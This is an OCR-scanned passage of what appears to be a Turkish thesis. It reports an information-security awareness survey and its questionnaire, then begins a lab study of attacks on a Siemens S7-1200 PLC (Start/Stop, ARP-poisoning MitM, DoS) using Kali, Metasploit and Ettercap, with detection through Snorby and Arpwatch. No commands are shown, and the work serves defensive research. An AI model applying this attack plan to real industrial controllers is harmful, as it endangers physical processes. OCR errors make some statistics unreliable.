H1: Egitim seviyesi ile bilgi giivenligi farkindalig1 arasinda pozitif bir iliski vardir.

H2: Kurumdaki is tecriibesi (calisma stiresi) ile bilgi giivenligi farkindalig1 arasinda pozitif

bir iligki vardir.

H3:Cinsiyet ile bilgi giivenligi farkindalig1 arasinda pozitif bir iliski vardir.

4.3. Bilgi Giivenligi Farkindahgi Anketi Analiz ve Cikarimlari

Cizelge 4.1’de tiim Orneklem karakteristikleri goriilmektedir. Buna gore katilimcilarin
%28,5'1 kadin ve %71,5" erkektir. Katilimcilarin %41 doktora, %28'1 yiiksek lisans ve
%68'i lisans mezunudurlar. Katilimcilarim %7'si 1 yildan az, %401 1-5 yil arasi, %22,5'
6-10 yil arasi, %18'c 11-15 yil arast ve %12,5'i 16 yil ve lizeri mesleklerinde ¢alisma

siirelerine sahiptirler.

Cizelge 4.1. Orneklem karakteristikleri

Faktorler Frekans Yiizde
Cinsiyet

Erkek 143 71,5
Kadn 57 28,5

Toplam 200 100,0
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Cizelge 4.1. (devam) Orneklem karakteristikleri

Faktorler Frekans Yiizde

Egitim Durumu

Doktora 8 4,0
Lisans 136 68,0
Yiiksek Lisans 56 28,0
Toplam 200 100,0
Calisma Siiresi

1 yildan az. 14 7,0
1-5 y1l aras1 80 40,0
11-15 yil arasi 36 18,0
16 y1l ve lizeri. 25 12,5
6-10 y1l aras1 45 22,5
Toplam 200 100,0

Anketin birinci bdliimiinde sorulan tanim sorular1 katilimcilarin temel bilgi giivenligi
kavramlarinin anlagilma diizeyini belirlemeye yonelik hazirlanmistir. Birinci boliimiin
analizi ile ilgili Sekil 4.3'de sunulan soruya gore katilimcilarin %66's1 bilgi giivenligine
personel/insan farkindaligin1 belirten "Teknik Onlemler, personel farkindaligi (biling,
egitim) ve politikay1 kapsamaktadir.” cevabini verirken, %19'u bilgi glivenligini teknik
onlemlerden olustugunu belirten "Giivenlik duvari, antiviriis, antispam programi gibi
Onlemlerdir." cevabini vermislerdir. Katilimeilarin %4,3'i ise bilgi giivenliginin ne anlama

geldigini tam olarak bilmediklerini ifade etmislerdir.

ilei efivenlial I
Bilgi govenligi nedir? B Bilgi giivenlifini tam olarak bilmiyorum.

0,50% 3 Om?'; 00%
2, 9

30% ® Bilgi givenlifinin neyi ifade ettifini tam olarak bilmiyorum.
19.00% u Bilgisayar gilvenlifidir.
8 Evrak gitvenlifidir,

8 Gitvenlik duvan, antivirils, antispam programi gibi dnlemlerdir.

S ® Teknik dnlemler, personel farkindalifi (biling, eBitim) ve

politikay kapsamaktadir,

Sekil 4.3. Bilgi giivenligi nedir?

Birinci bolim genel olarak degerlendirildiginde katilimeilarin biiyiik bir kisminin

kavramlara iliskin beklenen cevaplar1 verdikleri gozlemlenmistir.
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Anketin ikinci boliimiinde yer alan sorular bilgi giivenligi farkindaliginin katilimcilarin
davranisina olan etkilerini belirlemeye yonelik hazirlanmistir. Bu kapsamda Sekil 4.4'de
sunulan soruda katilimcilara kullandiklar1 hesaplarin parolalarini  degistirme siiresi
sorulmustur. Katilimcilarin  %67'si "Sistem beni zorladiginda (mecbur kaldigimda)
degistiririm." cevabini, %17'si "Alt1 ayda bir degistiririm." cevabini, %6,5'1 "Ayda bir
degistiririm." cevabini, %4,5'1 "On bes giinde bir degistiririm." cevabini, %5'1 "Higbir

zaman degistirmem." cevabini vermislerdir.

17,00%

6.50% B Al avda bir degistirinim,
5.00% B Ayda bir degistiririm.
4.50% u Higbir zaman degistirmem.

B Onbes giinde bir degigtiririm.

® Sistem beni zorladigmda (mecbur kaldigimda) degistiririm.

Sekil 4.4. Katilimcilarin parola degistirme siireleri

Ikinci boliimde katilimcilarin davranisia olan etkilerini belirlemeye yonelik sorulan
sorulardan bir digeri Sekil 4.5't¢ sunulmustur. Sorulan soru kapsaminda katilimcilarin
%48'1 sitelere Google arama motorundan arama yaparak, %27'si ise girecegi sitenin

adresini dogrudan yazarak girmektedir.

internet lizerinde sitelere girerken;

B Adresini dogrudan kendim vazarm.

® Google'dan aratma vaparak, siteve vénleninm

® Mailime gelen linklerden sayfalara erigirim

® Sosval medya iizerinde ver alan baglantdar ile erigirim,

® Bagka bir sayfada iken begendigim linklere tiklayarak istedigim sayfaya
ulasgm.

48%

Sekil 4.5. Katilimcilarin sitelere girig yontemleri

Ikinci boliimde yer alan davramis tipi sorulara verilen cevaplar degerlendirildiginde
katilimcilarin egitim seviyelerine ragmen(lisans ve lisansiistii) 6nemli giivenlik ihlallerine
yol acabilecek davraniglari(parola degistirme, internet adresini dogrudan yazmama, vs.)

sergiledikleri gdzlemlenmistir.
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Anketin iigiincli boliimiinden elde edilen 6l¢ek verileri analiz edilerek her bir katilimci igin
bilgi gilivenligi farkindalig1 ortalamasi1 hesaplanmistir. Bilgi giivenligi farkindaligi

ortalamasi katilimcilarin bilgi giivenligi farkindaligini temsil etmektedir.

Bilgi giivenligi farkindaliginin cinsiyete gére anlamli olarak farklilagip farklilasmadig test
etmek maksadi ile bagimsiz O6rneklem t testi yapilmistir. Cizelge 4.2'de test sonucu
incelendiginde bilgi giivenligi farkindali§inin cinsiyete gore anlamli olarak farklilastigi
(t=2,79, p<0,05), erkeklerin bilgi giivenligi farkindaliginin (3,56) kadinlardan (3,39) daha
yiiksek oldugu tespit edilmistir.

Cizelge 4.2. Bilgi giivenligi farkindaliginin cinsiyete gore farkliligi T testi

Cinsiyet N Ortalama
Bilgi Gitvenligi Erkek 143 3,5616
Farkindahg: Kadmn 57 3,3928
t-test for Equality of Means
i 95% Farkin giiven araligi
T Df (Z-fa:ﬁéd) : -
Alt Ust
Kabul edilen |-, 44, 108 006 04962 28786
m esit varyanslar
e
o
S
O Kabul
edilmeyen esit| 2,646 92,534 ,010 ,04207 ,29541
varyanslar

Bilgi giivenligi farkindaliginin egitim durumuna gore anlamli olarak farklilasip
farklilagmadig1 test etmek maksadi ile tek yonliit ANOVA testi yapilmistir. Cizelge 4.3'de
test sonucu incelendiginde bilgi glivenligi farkindaliginin egitim durumuna goére anlamli
olarak farklilasmadigi tespit edilmistir. Bu sonucun en biiyiik nedeni ise ¢alismada yer alan
katilimeilarin %68'1 lisans, %28'1 yiiksek lisans ve %4l doktora mezunu olup, lisansalti
mezunu katilimcilar dikkate alinmamustir. Bu hipotez, anketin 1'inci ve 2'nci boliimde yer

alan maddelerde ayrica olgiilmiistiir.
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Cizelge 4.3. Bilgi giivenligi farkindaliginin egitim durumuna gore farkliligi Anova testi

Kareler Kareler .
Toplam1 of Ortalamasi F Sig.
Gruplar arasi 110 2 ,055 ,357 , 701
Gruplar igi 30,492 197 ,155
Toplam 30,603 199
53 540 95% Guiven Araligi
(ID) Egitim (J) Egitim Ortalama Fark (1-J) |Std. Hata| Sig. - - s
urumu Durumu Alt Sinir | Ust Siir
i Yiksek Lisans ,02046 ,06247 | ,943 -1271 ,1680
1Sans
Doktora -,10454 , 14313 | ,746 -,4425 ,2335
Lisans -,02046 ,06247 | ,943 -,1680 1271
'Yiiksek Lisans
Doktora -,12500 ,14870 | ,678 - 4762 2262
Lisans ,10454 14313 | ,746 -,2335 4425
Doktora
Yiiksek Lisans ,12500 , 14870 | ,678 -,2262 4762

Bilgi giivenligi farkindaligimin mesleki tecriibeye gore anlamli olarak farklilagip

farklilasmadigi test etmek maksadi ile tek yonlii ANOVA testi yapilmistir. Cizelge 4.4'te

belirtilen test sonucu incelendiginde, bilgi giivenligi farkindaliginin mesleki tecriibeye gore

anlamli olarak farklilasmadig1 tespit edilmistir.

Cizelge 4.4. Bilgi giivenligi farkindaliginin mesleki tecriibeye gore farkliligi Anova testi

ﬁ?ﬁ:ﬂl Df Orfglrfrlr?erm F Sig.
Gruplararasi , 738 4 ,185 1,205 310
Gruplar i¢i 29,865 195 ,153
Toplam 30,603 199
(I Galisma | (7) Calisma | Ortalama Fark gy ool g 95% GﬁVen"Arahgl
Stiresi Stiresi (1-J) Alt Siir | Ust Siur
1-5 ,04115 ,11337 | ,996 | -,2710 ,3533
6-10 -,00801 ,11976 | 1,000 | -,3378 ,3218
1 yildan az. 11-15 -,03313 ,12326 | ,999 | -,3725 ,3063
16l ve 15255 | 13063 | 770 | -5122 | 2072
uzerl.




Cizelge 4.4. (devam) Bilgi

giivenligi farkindaliginin mesleki
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tecriibeye gore farklilig:

Anova testi
() Calisma | (J) Calisma | Ortalama Fark |q (oo Sig. 95% Gﬁven"Arahg1
Stiresi Stiresi (1-J) Alt Sinir Ust Sinir
1 yildan az. -,04115 11337 | ,996 -,3533 2710
6-10 04915 07292 | 962 | -,2499 1516
1-5 11-15 -,07428 07854 | 879 | -,2905 1420
lflzye‘ilve 19370 08967 | 199 | -,4406 0532
1 yildan az. 00801 11976 |1,000| -3218 3378
15 04915 07292 | 962 | -1516 2499
6-10 11-15 -,02512 08751 | 999 | -2661 2158
lflzyelilve _14454 | 09762 | 576 | -4133 1242
1 yildan az. 03313 12326 | 999 | -3063 3725
15 07428 07854 | 879 | -1420 2905
11-15 6-10 02512 08751 | 999 | -2158 2661
lfl;/elilve 11942 10188 | ,767 | -.4000 1611
1 yildan az. 15255 13063 | ;770 | -2072 5122
16 yil ve 15 119370 08967 | ,199 | -,0532 4406
fizeri. 6-10 14454 09762 | 576 | -1242 4133
11-15 11942 10188 | ;767 | -1611 4000

Uciincii boliimde yer alan katilimcilarin kurumlarinm verdigi egitimler ile bilgi giivenligi

farkindaligi arasinda iliski olup olamadigint belirlemek amact ile korelasyon testi

uygulanmistir. Cizelge 4.5'de sunulan korelasyon testi incelendiginde katilimcilarin bilgi

giivenligi farkindaligi ile kurumlarinin verdigi bilgi giivenligi farkindaligi egitimi arasinda

anlaml bir farklilik oldugu tespit edilmistir.

Cizelge 4.5. Kurumun verdigi egitim ile bilgi giivenligi farkindalig1 arasindaki korelasyon

giivenligi egitimi vermektedir.

korelasyonu

Bilgi Giivenligi | Kurumum yeterli bilgi giivenligi
Farkindalig1 egitimi vermektedir.
R, . |Pearson >
Bilgi Giivenligi Farkindaligi korelasyonu 1 ,141
Kurumum yeterli bilgi Pearson 141% 1

*. Correlation is significant at the 0.05 level (2-tailed).




70

Ugiincii béliimde yer alan "Cep telefonumda lisanshi giivenlik yazilimi kullaniyorum."
maddesiyle "Cep telefonu iizerinden mobil bankacilik ve c¢evrimigi aligverisi giivenli
olarak yapabiliyorum." maddesi arasinda pozitif bir iliski olmas1 beklenmistir. Cilinkii cep
telefonu lizerinde yapilan cevrimici aligverisin giivenligi cihazdaki teknik Onlemler
(antiviriis yazilimi) ile iliskilidir. Ancak Cizelge 4.6.'da yer alan korelasyon testi
incelendiginde bu maddelerin negatif yonlii iligkili oldugu goriilmektedir. Anketten elde
edilen sonuglara gore katilimcilarin ¢ogunlugu cevrimici aligveris, mobil bankacilik gibi
islemlerini genellikle cep telefonu {iizerinden gergeklestirdigi cevabini verirken, ayni

zamanda katilimcilarin giincel glivenlik yazilimlarini kullanmadiklar1 goriilmiistiir.

Cizelge 4.6. Katilimcilarin mobil giivenlik durum farkindalig1 analizi

Cep telefonu iizerinden
mobil bankacilik ve online
aligverisi glivenli olarak
yapabiliyorum.

Cep telefonumda
lisansl giivenlik
yazilimi kullantyorum.

Cep telefonumda lisansl
Pearson

giivenlik yazilimi 1 - 147*
kullantyorum. korelasyonu

Cep telefonu iizerinden

mobil bankacilik ve online |Pearson _147% 1

aligverisi glivenli olarak korelasyonu
yapabiliyorum.

*. Correlation is significant at the 0.05 level (2-tailed).

4.4. Bilgi Giivenligi Farkindahg: Anketi Uygulama Kisitlari

Internet ortami kullanilarak verilerin toplanmasi: Ozellikle kelime tipi sorulari tarama
yaptirarak cevap verebilir. Zaman smirlamasinin  olmadigi dikkate alindiginda
cevaplamalar1 yaparken baska konularla da ilgilendigi i¢in dikkat daginikligi olabilir ve

cevaplar ger¢egi yansitmayabilir.
4.5. Boliim Sonuclan

Bu bdliimde, bilgi giivenligi ligliisiiniin en 6nemli ama en az énem verilen boyutu olan insan
faktoriine odaklanilmigtir. Calismada, lisans ve {istli egitim seviyesine sahip bireylerin Bilgi

Giivenligi Farkindaligi degerlendirilmistir. Bu kapsamda kullanicilarin bilgi giivenligi
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farkindaligina yonelik olarak hazirlanan ve 3 boliim ve (37) maddeden olusan bilgi giivenligi

farkindalig1 anketi 207 kisiye uygulanmis ve 200 gegerli cevap degerlendirmeye alinmustir.

Calismada egitim seviyesi, is tecriibesi ve cinsiyet faktorlerinin bilgi giivenligi
farkindaligina etkisi incelenmistir. Analiz sonuglarinda cinsiyet ile bilgi giivenligi
farkindalig1 arasinda pozitif yonde bir iligki tespit edilmistir. Pozitif yonde iliski
c¢ikmasinin nedeninin katilimec1 sayisina ve ankete katilan bireylere dayali olarak

degisebilecegi degerlendirilmektedir.

Egitim seviyesi ile bilgi giivenligi farkindaligi arasinda ise anlamli bir iligki tespit
edilememistir. Ayrica kullanicilarin yiiksek egitim seviyesine sahip olmalari durumunda
kavramsal olarak yeterli bilgi seviyesine sahip olmasina ragmen bu bilgileri bilisim

sistemlerini kullanirken davraniglarina yansitmadiklar1 goriilmiistiir.

Diger bir analizde, is tecriibesi ile bilgi giivenligi arasinda anlamli bir ilisi bulunamamagtir.
Bunun en 6nemli nedeni olarak gerekli egitim ve bilin¢lendirme ¢aligmalarinin yetersiz ve
siirekli olmamasindan kaynaklandigi goriilmektedir. Kurumlarin bilgi giivenligi
politikasina sahip olmalar1 ve bu alanda kullanicilarina egitim vermeleri durumunda
kurumsal bilgi giivenligi kiiltliriiniin olusturulmasinda ve kullanicilarin bilgi gilivenligi
konusunda beklenen tutum ve davraniglar1 gostermesinde oldukga etkili olabilecektir.
Ancak s6z konusu egitimler konferanslar gibi etkili olmayan yontemlerle verildigi takdirde

beklenen sonug alinamayabilecektir.

Cagimizin bilgi cag1 ve en degerli varligin bilgi oldugu diisiiniildiigiinde bilgiye sahip olma
ve bilgiyi korunmanin 6nemi ortaya ¢ikmaktadir. Giiniimiizde kurum ve kuruluslar bilgi
giivenligini, sahip olduklar1 donanimlarla (giivenlik duvarlari, IDS/IPS sistemleri, antiviriis
yazilimlari, vb.) esdeger gormektedirler. Ancak her ne kadar en giincel, en son teknoloji
iriinii sistem ve cihazlara sahip olunursa olunsun, bu fiziksel degisimden Oteye gecemez.
Tam anlamiyla gilivenlik ise, fiziksel doniisimle birlikte kiiltiirel degisiminde
saglanmasiyla miimkiin olabilir. Bunun i¢inde en hassas ve en zayif boyut olan insan
faktoriine gerekli 6nem verilerek, ihtiya¢ duyulan farkindaligin kazandirilmasi ve yasayan
bir siire¢ olan etkili egitim ve bilinglendirme c¢aligsmalar1 yapilmalidir. Bu sayede alinan
teknik onlemler ve giivenlik politikalarinin etkinlik kazanarak hedeflenen bilgi giivenligi

seviyesine ulasilabilecektir.
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4.6. Bilgi Giivenligi Farkindahgi Anketi

Bu anket, aktif bilgi teknolojileri kullanicilarinin bilgi giivenligi farkindaliginin

Ol¢iilmesine yonelik olarak hazirlanmistir. Ankette isim ve S0y isim istenmemistir.

Soru 1.Meslekteki caligma siireniz?

(@]

1 yildan az.
o 15

o 6-10

o 11-15

o 16 yil ve tizeri.

Soru 2.Cinsiyetiniz?

o Kadin
o Erkek

Soru 3.Egitim Durumunuz?

o Lisans
o Yiksek Lisans
o Doktora

o Diger

4.6.1. Boliim 1

Soru 1.Oltalama (phishing) nedir?

o Yasal e-posta gibi goriinen ve kisisel bilgilerinizi talep eden bir e-posta mesajidir.

o Ikna yontemiyle gizli bilgilerin elde edilmesini amaglayan bir sosyal miihendislik
metodudur.

o Kimlik hirsizligidir.

o Yukaridakilerin hepsidir.

o Oltalama (Pishing) nedir bilmiyorum.
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Soru 2.istenmeyen posta (spam) nedir?

o E-posta yada elektronik mesajin bir diger adidir.

o Bir pazarlama teknigidir.

o Talep edilmeyen ya da istenmeyen e-posta mesajidir.
o Yukaridakilerin hepsidir.

o Istenmeyen e-posta nedir bilmiyorum.

Soru 3.1lgi giivenligi nedir?

o Bilgisayar giivenligidir.

o Evrak giivenligidir.

o Giivenlik duvari, antiviriis, antispam programi gibi énlemlerdir.

o Teknik dnlemler, personel farkindalig: (biling, egitim) ve politikay1 kapsamaktadir.

Bilgi giivenliginin neyi ifade ettigini tam olarak bilmiyorum.

o

4.6.2. Boliim-2

Soru 1.Bankanizdan gonderilen bir e-posta mesajinda sizden bir baglantiyr (link)
tiklayarak kisisel bilgilerinizi giincellemeniz istendiginde ne yaparsiniz? (Birden fazla

secenegi segebilirsiniz)

o E-posta mesajindaki bankanin logosu adresi ve diger biitiin bilgiler dogru ise istenen
bilgileri veririm.

o Bu e-posta mesajin1 gormezlikten gelirim.

o Is arkadaslarimda ayni e-posta mesajim1 almis ve bilgilerini giincellemisse bende
aynisini yaparim.

o Bankay arayip gonderilen e-posta konusunda bilgi alirim.

o Kurumun bilgi islem merkezini arayip bilgi veririm.

Soru 2.Bilgi giivenligi ihlali ile karsilastiginizda nereye bildirirsiniz? (Birden fazla

secenegi segebilirsiniz)

o Bilgi Sistem Birimine.
o Kolluk Birimleriyle.

o Ust Yoneticime.
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o Internet Saglayicisi veya Yazilim Firmasina.

o Nereye bildirecegimi bilmiyorum.

Soru 3.Sadece acil durumlarda olmasi kosuluyla kullanici adinizi ve sifrenizi kiminle

paylasirsiniz?(Birden fazla se¢enegi secebilirsiniz)

o Ust Yoneticimle.

o Bilgi Sistem Gorevlileriyle.

o Ayni Birimdeki Is Arkadaslarimla.

o Kararsizim.

o Kolluk Birimleriyle(Savci, Polis, Jandarma vb.).

o Hig¢ Kimseyle.

Soru 4.Sosyal paylagim sitelerinde (Facebook, Instagram, Twittter, vb.) hangi bilgilerinizi

paylasirsiniz(birden fazla segenegi secebilirsiniz)?

o Ad ve Soyadimi.

o Dogum Tarihimi.

o Akrabalarimi (Dede, Amca, Day1, Hala, Teyze, vb.).

o Meslegimi.

o Medeni Halimi (Varsa Esim ve Cocuklarimm Isimleri).
o Egitim Durumu.

o Hobilerim ve Fobilerimi.

o Yukaridakilerden Higbirisini.

Soru 5.E-mail adresim de dahil olmak {izere bilgisayarda kullandigim (kurumsal, sahsi,

vb.) parolalarimi;

o Higbir zaman degistirmem.

o Sistem beni zorladiginda (mecbur kaldigimda) degistiririm.

O

On bes giinde bir degistiririm.
o Ayda bir degistiririm.
Alt1 ayda bir degistiririm.

O
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Soru 6.Internet iizerinde sitelere girerken;(birden fazla secenegi secebilirsiniz)

o Adresini dogrudan kendim yazarim.

o Google'dan aratma yaparak, siteye yonlenirim.

o Bagka bir sayfada iken begendigim linklere tiklayarak istedigim sayfaya ulasirim.
o Mailime gelen linklerden sayfalara erisirim.

o Sosyal medya iizerinde yer alan baglantilar ile erigirim.

Soru 7.Tarayiciniz (Internet Explorer, Chrome, vb.) ile internette bir sayfaya girdiginizde
bilgisayariniza viriis bulastig1 ve kaldirmak i¢in OK ikonuna tiklamaniz istendiginde ne

yaparsiniz? (Biden fazla segenegi isaretleyebilirsiniz)

o Viriisii temizleyecek programi incelemek i¢in OK ikonuna tiklarim.

o Mesaj1 "I[PTAL" segeneginden kapatirim.

o Kutucugun sag iist kosesinde bulunan "X" kismina basarak kapatirim.
o Tarayicty1 kapatmaya ¢aligirim.

o Bilgisayari kapatirim.

Soru 8.Seceneklerden hangisi uygun parola drneklerindendir?

o Ankara06*
o ankara06*
o Ank06ara*
o Ankara

o Ankara06

Soru 9.Kullanic1 adinizi ve parolanizi unutmamak igin ne yaparsiniz? (Birden fazla

secenegi secgebilirsiniz)

o Kolay hatirlanabilir parolalar secerim.

o Kagida yazip masaiistii ya da bilgisayarimin yanina veya klavyemin altina yapistiririm.
o Cep telefonuma kaydederim.

o Tiim parola ve sifrelerimi (i, mail, bankacilik) ayn1 yaparim.

o Kisa sifre ve parolalar belirlerim.
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o Karakter, biiyiik/kiiciik harf ve rakamlar1 hatirlayabilecegim bir kombinasyonla
birlestiririm.

o Not defterime yazarim.
4.6.3. Boliim 3

3ncii Bolim 5°1i likert Olgegine gore hazirlanmustir (/. ‘Kesinlikle Katilmiyorum’,

2. ‘Katulmiyorum’, 3. ‘Kismen Katiltyyorum’, 4. ‘Katiliyorum’ ve 5. ‘Kesinlikle Katilyyorum”)

Sorul. Kisisel bilgilerimin bazilarini internet ortaminda paylasirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 2. Kisisel bilgilerimi sosyal medyada(veya internet ortaminda) paylasmanin kendi
gilivenligimi etkileyecegini diistinmiiyorum.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 3. Internet ortamindan gelebilecek tehditlerin farkindayim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 4. Kisisel bilgi giivenligim hakkinda yeterli bilgiye sahibim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 5.  Sosyal medya hesaplarimin parolalarimi yakin ¢evrem ile paylasirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 6. Parolami olustururken dogum yerimi, yilimi, meslek ve medeni bilgilerimi
kullanirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 7.  Sosyal medya ve mail adreslerimi olustururken kisisel bilgilerimi kullanirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 8. Sosyal medya hesaplarimin giivenlik sorular1 yakin ¢evre, kisisel bilgilerim, vs..
den olusur.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.
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Soru 9. Internet ortaminda alisveris yaparim.

1. Kesinlikle Katilmryorum. 5. Kesinlikle Katiltyorum.

Soru 10. Girdigim sitelerin giivenilir baglant1 olup olmadigina dikkat ederim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 11. Gelen e-postalarin igerigine ve baglantili yonlendirme adreslerine dikkat ederim.

1. Kesinlikle Katilmryorum. 5. Kesinlikle Katiliryorum.

Soru 12. Sosyal medya hesaplarimin baska kisilerin ellerine gegmesi durumunda yapmam
gereken iglemleri bilirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 13. Kendi bilgi giivenligi agiklarimin kurumuma verecegi zararlar hakkinda bilgim
var.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 14. Giglii bir sifre en az 6 karakter uzunlugunda, biiylik harf, kiiglik harf, rakamlar
ve alfa-niimerik karakterleri birlikte bulundurmalidir.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 15. Cep telefonumda lisansh giivenlik yazilimi kullantyorum.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 16. Internet ortaminda sorf yaparken (gezinirken) gerektiginde aile filtresi
kullanirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 17. Bagkalariyla sifremi paylasmamam gerektigini biliyorum, ama ara sira da olsa is
arkadasima islerin aksamamasi i¢in sifremi veriyorum (sadece glivendigim arkadaslarima
ve acil durumlarda).

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 18. Sosyal medya hesaplarimda rumuz(takma ad) kullanirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.
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Soru 19. Aldigim e-postalarin gonderici adreslerine dikkat ederim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 20. Bilisim suglari ile alakali yasal mevzuati bilirim.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 21. Kisisel bilgisayarimda her zaman antiviriis programi yiiklii bulunur.

1. Kesinlikle Katilmryorum. 5. Kesinlikle Katiliyorum.

Soru 22. Sosyal medya hesap profillerim herkese agiktir.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiltyorum.

Soru 23. Cep telefonu iizerinden mobil bankacilik ve online aligverisi giivenli olarak
yapabiliyorum.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.

Soru 24. Kafeterya, alisveris merkezi ve benzeri alanlarda iicretsiz internet hizmetinden
faydalaniyorum.

1. Kesinlikle Katilmryorum. 5. Kesinlikle Katiltyorum.

Soru 25. Kurumum yeterli bilgi giivenligi egitimi vermektedir.

1. Kesinlikle Katilmiyorum. 5. Kesinlikle Katiliyorum.
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5. PLC SALDIRI ACIKLIK ANALIiZLERI VE CIKARIMLAR

Endiistriyel Kontrol Sistemlerinin gilivenligine yonelik yapilan ¢alismalarin ¢ogunlugunda
gercek bir sisteme yonelik uygulama yapilmamistir. Bu ¢alisma da, gergek bir kontrol
sisteminin yer aldigt smama ortaminda testler gercgeklestirilerek, PLC cihazinin

acikliklarinin tespitine ve ¢6ziim Onerilerinin belirlenmesine odaklanilmastir.

Sekil 5.1°de goriildiigi tizere PLC’ye yonelik gergeklestirilen analiz g¢aligmalar1 {i¢
boliimden olusmaktadir. ilk asamada PLC’ye saldirilar gerceklestirilerek sistem iizerindeki
etkileri dlciilmiistiir. ikinci asama, saldirilar sonucunda olusan paketler yakalanarak analiz
edilmesine dayanan gozlem asamasidir. Son agamada ise saldir1 tespit sistemleri araciligiyla
saldirilara iligskin paternler olusturularak benzer saldirilar gergeklestirilmesi durumunda

saldirilarin tespit edilerek sistemin etkilenmemesi hedeflenmistir.

KRITIK ENDUSTIRYEL SISTEMLER
UZERINDEKI PLC GIHAZLARINA YONELIK
KESIF, SALDIRI VE TESPIT ASAMALARI
v Y h J
1. START/STOP SALDIRISI \ / 2. MitM SALDIRISI \ / 3. DoS SALDIRISI
1.1. Saldin 2.1. Saldin 3.1. Saldin
1.1.1. Agdaki PLC'lerin 2.1.1. Ayni ag icerisindeki 3.1.1. Tarama ve hedef
taranmasi ve tespiti hedeflerin taranmasi ve tespiti
1.1.2. Tepit edilen PLC'lere tespiti 3.1.2. DoS saldinsi
tekrarl Start/Stop 2.1.2. Tespit edilen PLC'lerin
saldmifarinin ve kontrol cihazlarinin 3.2. Gozlem
gergeklestiriimesi zehirlenmesi 3.2.1. Saldir paketierinin
2.1.3. Arp tablolarinin her iki yakalanmast
1.2. Gozlem yonlii olarak manupile 3.2.2. Saldirt paketlerinin
1.2.1. Saldiri paketlerinin edilmesi etkilerinin incelenmesi
yakalanmasi
1.2.2. Saldiri paketlerinin 2.2. Gozlem 3.3. Tespit
etkilerinin izlenmesi 2.2.1. Manupile edilen 3.3.1.Saldiri paketlerinin
sistemlere ait veri davrants analizi
1.3. Tespit paketierinin toplanmasi 3.3.2. Analiz sonuglarina
1.3.1.Saldir paketierinin 2.2.2. Yakalanan paketlerin gore saldiri sablonun
da vranis analizi analizi olusturtimasi
1.3.2. Analiz sonuglarina 3.3.3. Saldir tespit sistemine
gére saldirt sablonun 2.3. Tespit (Snorby) sablonun
olusturulmasi 2.3.1. Arpwatch saldiri tespit tanimianmasi
1.3.3. Saldin tespit sistemine sisteminin devreye 3.3.4. Saldirt tekrarlanarak
(Snorby) sablonun alinarak saldirinin tespit sisteminin
tanimlanmast tekrarfanmas alarmlarinin izlenmesi
1.3.4. Saidir tekrarlanarak 2.3.2. Hedef sistemlerdeki arp & /
tespit sisteminin tablosu degdigiklillerinde
K alarmlarinin izlenmesi / alarm dretilmesi
2.3.3.Hedef sistemierdeki arp
tablosu degisiklillerinde
grafik arayiiztinde takibi
\ (Spiunk) /

Sekil 5.1. PLC cihazlarina yonelik kesif, saldir1 ve tespit agsamalari
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5.1. PLC A¢qikhik Analizi

Bu boliimde calisma kapsaminda olusturulan smmama ortaminda gergeklestirilen agiklik
analizi saldirilarinin gergeklestirilmesi, tespiti, paternlerinin olusturulmasi ve sonuglari ele
alimmustir. Agiklik analizi testlerinin hedefinde endiistriyel kontrol sistemlerinin 6nemli bir
bileseni olan PLC cihazlarindan yaygin olarak kullanilan Siemens S-7 1200 donanim1 yer

almaktadir.

5.1.1. Deneysel sinama ortami

Calismanin ilk asamas1 olan saldir1 asamasinda, endiistriyel kontrol sistemlerine yonelik en
onemli saldirilardan Port Tarama, DoS, MitM ve Baslat/Durdur saldirilar1 Kali Metasploit,
Ettercap ve Armitage saldir1 araglar1 ile Wireshark trafik analizi kullanilarak Sekil 5.2°de
belirtilen bdliimlendirilmemis ve Sekil 5.3’de belirtilen boélimlendirilmis ag

topolojilerindeki deneysel aglara gergeklestirilmistir.

BOLUMLENDIRILMEMIS A& TOPOLOJISI

192.168.0.1
Kontrol PC (TIA Portal v13)

192.168.0.5
Siemens §7-1200 PLC

192.168.0.10
Kali PC (Saldirgan)

Sekil 5.2. Boliimlendirilmemis ag topolojisi (Saldir1 asamasi)

BOLUMLENDIRILMIS AG TOPOLOJISI

192.168.0.5
Siemens $7-1200 PLC

192.168.1.10
Kali PC (Saldirgan)

Sekil 5.3. Boliimlendirilmis ag topolojisi (Saldirt agamasi)
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Bu asamada sadece saldirilara odaklanilmismis, tespite yonelik herhangi bir arag
kullanilmamistir. Sinama ortaminda, bir adet S-7 1200 PLC donanimi, PLC’nin uzaktan
yonetim ve kontroliinlin gerceklestirildigi lizerinde TIA Portal yonetim yazilimi bulunan
bir adet yonetim bilgisayari, Kali Linux isletim sistemi kurulu bir adet saldirgan kisisel
bilgisayar yer almaktadir. Cihazlarin baglantilar1 fiziksel olarak gergeklestirilmis,
kullanilan saldir1 araglar1 i¢in Kali isletim sistemi Vmware sanallagtirma yazilimi iizerine
kurulmustur. Kali, sayisal analiz ve penetrasyon testleri i¢in tasarlanmis acik kaynak
isletim sistemidir. Saldirilarin cihaz {izerindeki etkilerinin tespit edilmesi maksadiyla

kullanilan tespit yazilimlari i¢in de ayr bir bilgisayar kullanilmastir.

